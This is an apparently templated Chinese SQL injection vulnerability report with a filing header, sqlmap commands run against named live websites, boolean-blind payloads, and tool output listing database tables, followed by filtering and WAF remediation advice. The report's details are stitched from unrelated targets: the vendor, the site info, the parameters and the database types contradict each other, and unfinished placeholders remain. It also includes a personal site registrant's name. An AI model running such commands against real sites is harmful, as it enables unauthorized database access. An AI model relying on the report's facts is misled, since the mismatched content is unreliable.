基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：台湾COCO奶茶有限公司

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

发现时间 2019-05-01:17:16:26  
网站标题 厦门亮群餐饮管理有限公司-产品展示-元茶圆- 所有  
注入网址 http://yuanchayuan.cn/article.php?c=433  
执行命令 sqlmap.py -u http://yuanchayuan.cn/article.php?c=433 --technique B --batch --thread=10 --random-agent  
注入参数(方式) c (GET)  
 注入方式 boolean-based blind  
 注入标题 AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 c=433 AND 7482=7482  
数据库类型 SQLite  
服务器版本 Windows 2008 R2 or 7  
服务器语言 Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
数据库版本 SQLite

网站信息报表

百度权重 4  
网站主页 http://www.35335.com  
网站标题 窝趣轻社区加盟\_窝趣轻社区加盟费用|电话-35加盟网  
IP\_\_坐标 加拿大 安大略省多伦多腾讯云计算有限公司北美数据中心  
所属\_\_IP 49.51.10.192  
网站年龄 9年6月29天（创建于2009年10月02日,过期时间为2019年10月02日)  
备案编号 粤ICP备17146273号-1  
备案性质 个人  
备案名称 李邦华  
备案时间 2017/11/20 0:00:00  
百度收录 17万5000  
协议类型 HTTP/1.1 200 OK  
页面类型 text/html; charset=UTF-8  
服务类型 nginx/1.12.2  
程序语言 暂无信息

网站漏洞复现

执行命令[待会儿上色]

sqlmap.py -u http://yuanchayuan.cn/article.php?c=433 --technique B --batch --thread=10 --random-agent

返回内容[待会儿上色]

[\*] starting @ 22:45:29 /2019-05-01/  
[22:45:29] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 5.05; Windows 98; .NET CLR 1.1.4322)' from file 'D:\HACKER\_TOOLS\LANGZI\_HACKER\LANGZI\_SQL\_INJECTION\Langagents.txt'  
[22:45:29] [INFO] resuming back-end DBMS 'sqlite'  
[22:45:29] [INFO] testing connection to the target URL  
[22:45:30] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: id (GET)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: id=611 AND 1829=1829  
---  
[22:45:30] [INFO] the back-end DBMS is SQLite  
web server operating system: Windows 2008 R2 or 7  
web application technology: Microsoft IIS 7.5, ASP.NET, PHP 5.3.8  
back-end DBMS: SQLite

敏感数据[待会儿上色]

注入参数(方式) : id (Cookie)  
 注入方式 : boolean-based blind  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 : id=120 AND 6114=6114  
  
  
---------  
数据库类型 : Microsoft Access  
服务器版本 : Windows 2008 R2 or 7  
服务器语言 : ASP.NET, Microsoft IIS 7.5, ASP  
数据库版本 : Microsoft Access

执行命令[待]

python sqlmap.py -u http://www.sdcxjl.com/hr/show.asp --cookie id=120 --tables --level 3 --random-agent --batch

返回结果[待]

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 17:56:34 /2019-05-02/  
  
[17:56:35] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6' from file 'C:\CODE\个人作品源r-agents.txt'  
[17:56:35] [INFO] resuming back-end DBMS 'microsoft access'   
[17:56:35] [INFO] testing connection to the target URL  
[17:56:35] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: id (Cookie)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: id=120 AND 6114=6114  
---  
[17:56:35] [INFO] the back-end DBMS is Microsoft Access  
web server operating system: Windows 2008 R2 or 7  
web application technology: ASP.NET, Microsoft IIS 7.5, ASP  
back-end DBMS: Microsoft Access  
[17:56:35] [INFO] fetching tables for database: 'Microsoft\_Access\_masterdb'  
[17:56:35] [INFO] fetching number of tables for database 'Microsoft\_Access\_masterdb'  
[17:56:35] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval  
[17:56:35] [INFO] retrieved:   
do you want to URL encode cookie values (implementation specific)? [Y/n] Y  
  
[17:56:35] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast'   
[17:56:35] [WARNING] unable to retrieve the number of tables for database 'Microsoft\_Access\_masterdb'  
[17:56:35] [ERROR] cannot retrieve table names, back-end DBMS is Access  
do you want to use common table existence check? [Y/n/q] Y  
which common tables (wordlist) file do you want to use?  
[1] default 'C:\CODE\个人作品源代码bles.txt' (press Enter)  
[2] custom  
> 1  
[17:56:35] [INFO] checking table existence using items from 'C:\CODE\个人作品源代码\es.txt'  
[17:56:36] [INFO] adding words used on web page to the check list  
please enter number of threads? [Enter for 1 (current)] 1  
[17:56:36] [WARNING] running in a single-thread mode. This could take a while  
[17:56:41] [INFO] tried 55/3150 items (2%)[17:56:41] [INFO] retrieved: admin  
[17:57:41] [INFO] tried 497/3150 items (16%)[17:57:41] [INFO] retrieved: feedback  
[17:59:58] [INFO] tried 1502/3150 items (48%)[17:59:59] [INFO] retrieved: flag  
[18:01:03] [INFO] tried 2006/3150 items (64%)  
[18:01:33] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:03:14] [INFO] tried 2672/3150 items (85%)  
[18:03:44] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:03:57] [INFO] tried 2674/3150 items (85%)  
[18:04:27] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:05:03] [INFO] tried 2675/3150 items (85%)  
[18:05:34] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:05:34] [INFO] tried 2676/3150 items (85%)  
[18:06:04] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:06:24] [INFO] tried 2698/3150 items (86%)  
[18:06:57] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)  
[18:08:23] [INFO] tried 3150/3150 items (100%)

敏感数据

数据库下列名  
Database: Microsoft\_Access\_masterdb  
[3 tables]  
+----------+  
| admin |  
| feedback |  
| flag |  
+----------+

修复建议

代码原理防护

1. 对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
包括但不限于以下字符及字符串  
select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
  
2. 预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
3. 以最小权限执行SQL语句

安全防火墙防护

1. 安装网站防火墙  
2. 接入云WAF